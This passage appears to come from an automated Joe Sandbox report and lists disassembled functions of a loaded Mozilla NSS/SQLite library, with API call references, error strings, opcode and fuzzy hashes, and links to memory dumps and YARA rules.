Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: c3523099250f8b29ce27f2656ff5dcea27d9f9e99e0b08ca88d367200d1dfb1a
Instruction ID: d42e9a6e724bae1ba5177ad3823ee47b840d89a84f9a7cf6aa6fd0b497b7976d
Opcode Fuzzy Hash: c3523099250f8b29ce27f2656ff5dcea27d9f9e99e0b08ca88d367200d1dfb1a
Instruction Fuzzy Hash: 2C41F7B1B061045BDB009FBA9C88E4A37B9AB47398F150639E51D97F40D731D409CB9E

Function 6C6AFEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6AFF00

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6C6AFF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C6AFF26
PORT_ArenaMark_Util.NSS3(?), ref: 6C6AFF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C6AFF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C6AFF8C

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 15102e73518a88c1d086ea82b217a9e8fd870a3e126e7963a170be6ba9e0941a
Instruction ID: b08efe629e4d9877bc7512828895ca26a07d10df1e7c910a11b11f40d1455db0
Opcode Fuzzy Hash: 15102e73518a88c1d086ea82b217a9e8fd870a3e126e7963a170be6ba9e0941a
Instruction Fuzzy Hash: E43128F29013229BE7108E948C40B9B76A8AF4A34CF140135ED18A7B41F770DD25C7DB

Function 6C6B3CA0 Relevance: 13.6, APIs: 9, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6C6B38BD), ref: 6C6B3CBE
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6C6B38BD), ref: 6C6B3CD1

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6C6B38BD), ref: 6C6B3CF0
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6C78B369,000000FF,00000000,00000000,?,000000FF,00000000,00000000,6C6B38BD), ref: 6C6B3D0B
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,6C6B38BD), ref: 6C6B3D1A
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6C78B369,000000FF,00000000,00000000,00000000,6C6B38BD), ref: 6C6B3D38
_wfopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6C6B3D47
free.MOZGLUE(00000000), ref: 6C6B3D62
free.MOZGLUE(000000FF,?,000000FF,00000000,00000000,6C6B38BD), ref: 6C6B3D6F

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_Utilfree$Value_wfopenmalloc
String ID:
API String ID: 2345246809-0
Opcode ID: 368361367952fc737369fcd39688487f5ed469e2bb0b3c7bb182527ad23e2cdd
Instruction ID: 513b1839d01e18c1bd207dbb516c5ab3517ccdd2d40c880778e898e1a0d8ac1c
Opcode Fuzzy Hash: 368361367952fc737369fcd39688487f5ed469e2bb0b3c7bb182527ad23e2cdd
Instruction Fuzzy Hash: CB21D4B570111277FB2066BA5C09E7B39ECDB827A5B140635B939E76C0EE71D81083B5

Function 6C5F7D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5F7E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5F7E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6C5F7EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5F7F2E

Strings

%s at line %d of [%.10s], xrefs: 6C5F7EE7, 6C5F7F28
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5F7ED8, 6C5F7F08, 6C5F7F19
database corruption, xrefs: 6C5F7EE2, 6C5F7F23

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: c2e68d1ca9f409165cfac63a79bfce4ea7393d0ab3e02b00ed413cccdf737d6c
Instruction ID: 11a3d9d7ae6d9d489f8e2ae74219312032fe39294664de212c34a3fbbcbd539d
Opcode Fuzzy Hash: c2e68d1ca9f409165cfac63a79bfce4ea7393d0ab3e02b00ed413cccdf737d6c
Instruction Fuzzy Hash: 8961C170A002059FDB09CF29CC90BAA37B2BF45358F1448A9ED285BB52D730EC46CFA0

Function 6C5DFCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5DFD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DFD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5DFE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DFE83

Part of subcall function 6C5DFEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6C5DFEFA
Part of subcall function 6C5DFEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6C5DFF3B

Strings

%s at line %d of [%.10s], xrefs: 6C5DFD73, 6C5DFE35
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DFD64, 6C5DFE26
database corruption, xrefs: 6C5DFD6E, 6C5DFE30

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 9a7c8e8db9d923da48674f8146a085e20669fe4fef29915c3e97d4d69f748306
Instruction ID: f8b52f8f2e6dbdf8dbc5dd1c5b323f79f697c4421a8a330b48975e1c727e204b
Opcode Fuzzy Hash: 9a7c8e8db9d923da48674f8146a085e20669fe4fef29915c3e97d4d69f748306
Instruction Fuzzy Hash: B1518F71A002059FDB04CFADDD90AAEB7B1EF48308F154169EA05ABB52E731FD50CBA4

Function 6C722F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C722FFD
sqlite3_initialize.NSS3 ref: 6C723007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C723032
sqlite3_mprintf.NSS3(6C78AAF9,?), ref: 6C723073
sqlite3_free.NSS3(?), ref: 6C7230B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6C7230C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6C7230BB

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 730c050f35a21fc24e4be7c132324710734b3228a13605a4e0973480b7ce6acc
Instruction ID: d40c16d559fc85d586ee09db67bec24a23d830ebd23b3cea79d6e5ea7edb4d8e
Opcode Fuzzy Hash: 730c050f35a21fc24e4be7c132324710734b3228a13605a4e0973480b7ce6acc
Instruction Fuzzy Hash: F941C271600606AFDB10CF25D944A86B7AAFF44368F148639EC2987B40E735F955CBE1

Function 6C6A5ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]jl), ref: 6C6A5F0A
TlsGetValue.KERNEL32 ref: 6C6A5F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6C6A5F2F
PR_Unlock.NSS3(890008E8), ref: 6C6A5F55
PR_SetError.NSS3(00000000,00000000), ref: 6C6A5F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6C6A5F7D

Part of subcall function 6C6A5220: TlsGetValue.KERNEL32(00000000,890008E8,?,6C6A5F82,8B4274C0), ref: 6C6A5248
Part of subcall function 6C6A5220: EnterCriticalSection.KERNEL32(0F6C770D,?,6C6A5F82,8B4274C0), ref: 6C6A525C
Part of subcall function 6C6A5220: PR_SetError.NSS3(00000000,00000000), ref: 6C6A528E
Part of subcall function 6C6A5220: PR_Unlock.NSS3(0F6C76F1), ref: 6C6A5299
Part of subcall function 6C6A5220: free.MOZGLUE(00000000), ref: 6C6A52A9

Strings

q]jl, xrefs: 6C6A5EDB, 6C6A5F09

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]jl
API String ID: 3150690610-1303710552
Opcode ID: 2a10d3fcd7f3dcc7f39e12458bbdaea1c2d0b5102a11b6f95f64c804418a40e2
Instruction ID: d09578a01e7b88a59bb3eafc0fe3ebecaa9497c84260a071ed4e689792d1ebe0
Opcode Fuzzy Hash: 2a10d3fcd7f3dcc7f39e12458bbdaea1c2d0b5102a11b6f95f64c804418a40e2
Instruction Fuzzy Hash: DB21D6B1D00604AFDB10DFA4EC45AEEB7B4EF09318F544039E90AA7700FB31A9558B99

Function 6C668CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C67124D,00000001), ref: 6C668D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C67124D,00000001), ref: 6C668D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C67124D,00000001), ref: 6C668D73
PR_Unlock.NSS3(?,?,?,?,?,6C67124D,00000001), ref: 6C668D8C

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

PR_Unlock.NSS3(?,?,?,?,?,6C67124D,00000001), ref: 6C668DBA

Strings

KRAM, xrefs: 6C668D3E
KRAM, xrefs: 6C668CF9

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 8270b835501c95c7981c1040cd94e5e06ce5135ab7eecfe3e0030c1a06517830
Instruction ID: 71df5769bc523673114dcbaa0c868518cedc362bc96d46a476d1fcf7beda50f4
Opcode Fuzzy Hash: 8270b835501c95c7981c1040cd94e5e06ce5135ab7eecfe3e0030c1a06517830
Instruction Fuzzy Hash: ED2191B1A04601DFCB00EF7AC48459EB7F0FF4A308F15896AD89887B11D734E842CBA6

Function 6C760ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C760EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C760EFA

Part of subcall function 6C64AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C64AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C760F2B

Strings

Aborting, xrefs: 6C760EB3
Assertion failure: %s, at %s:%d, xrefs: 6C760ED9, 6C760EE5, 6C760F06, 6C760F0B

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: d59ad63bf2ffd7cb1fc21767a24e4fe708ad480565092c35a38d5f65aa5a29ae
Instruction ID: 3f3598f6e4d24fa77333da7899d060b1aa6a50fa715b661cd241871710cbd306
Opcode Fuzzy Hash: d59ad63bf2ffd7cb1fc21767a24e4fe708ad480565092c35a38d5f65aa5a29ae
Instruction Fuzzy Hash: 8101C0B5900214BBDF01AFA5ED49CAB3F3DEF46365B004074FD0997B01D632E91087A2

Function 6C741C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=dl,?,?,6C644E1D), ref: 6C741C8A
sqlite3_free.NSS3(00000000), ref: 6C741CB6

Strings

an index, xrefs: 6C741C67
a generated column, xrefs: 6C741C6C
non-deterministic use of %s() in %s, xrefs: 6C741C85
w=dl, xrefs: 6C741C44
a CHECK constraint, xrefs: 6C741C76, 6C741C81

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=dl
API String ID: 1840970956-3929578942
Opcode ID: adbc21476890aec29598050f06453027223276dce0d4bacb982b1ecc7e5968e9
Instruction ID: fc8d503fb807e3582604028424926bca09c96b6e3432ad649057c59e4f7662ef
Opcode Fuzzy Hash: adbc21476890aec29598050f06453027223276dce0d4bacb982b1ecc7e5968e9
Instruction Fuzzy Hash: 910147B1B002005BD704BB2CD91297177E5EFC238CB15487DEE49DBB02EB22E856C755

Function 6C724D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C724DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C724DE0

Strings

%s at line %d of [%.10s], xrefs: 6C724DDA
API call with %s database connection pointer, xrefs: 6C724DBD
misuse, xrefs: 6C724DD5
invalid, xrefs: 6C724DB8
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C724DCB

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: c0e970f983fc86db9cd2d8ad2e2f4ae5b7feda6b56081b1e3a72982cd587565d
Instruction ID: 4ff96e5e84b843b56e6a55e21a4e6191d18ebe16a132f69606180104f3a23a99
Opcode Fuzzy Hash: c0e970f983fc86db9cd2d8ad2e2f4ae5b7feda6b56081b1e3a72982cd587565d
Instruction Fuzzy Hash: 5BF0BE22A156682BD7005155DF22F86379A4F02329F8609B1EF087BB92D20AAA908295

Function 6C724DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C724E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C724E4D

Strings

%s at line %d of [%.10s], xrefs: 6C724E47
API call with %s database connection pointer, xrefs: 6C724E2A
misuse, xrefs: 6C724E42
invalid, xrefs: 6C724E25
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C724E38

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: af1dbd6d4de815b7e20467e28cf0f7d58a2eca7bb01e1d91bf0569492b6c3fbb
Instruction ID: bd7388b8e6f0b4b41a11704e9038bc3d7054eb679024a7b8990befec1b8848b1
Opcode Fuzzy Hash: af1dbd6d4de815b7e20467e28cf0f7d58a2eca7bb01e1d91bf0569492b6c3fbb
Instruction Fuzzy Hash: C2F02711F459282BF71050699F11F87379E4B02329F8954F1EF0C7BE92D30D9EA052D5

Function 6C659FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C65A086
EnterCriticalSection.KERNEL32(?), ref: 6C65A09B
PR_Unlock.NSS3(?), ref: 6C65A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65A0E9
TlsGetValue.KERNEL32 ref: 6C65A11B
EnterCriticalSection.KERNEL32(?), ref: 6C65A12F
PR_Unlock.NSS3(?), ref: 6C65A148

Part of subcall function 6C671A40: PR_Now.NSS3(?,00000000,6C6528AD,00000000,?,6C66F09A,00000000,6C6528AD,6C6593B0,?,6C6593B0,6C6528AD,00000000,?,00000000), ref: 6C671A65

Part of subcall function 6C671940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6C674126,?), ref: 6C671966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65A1A3

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
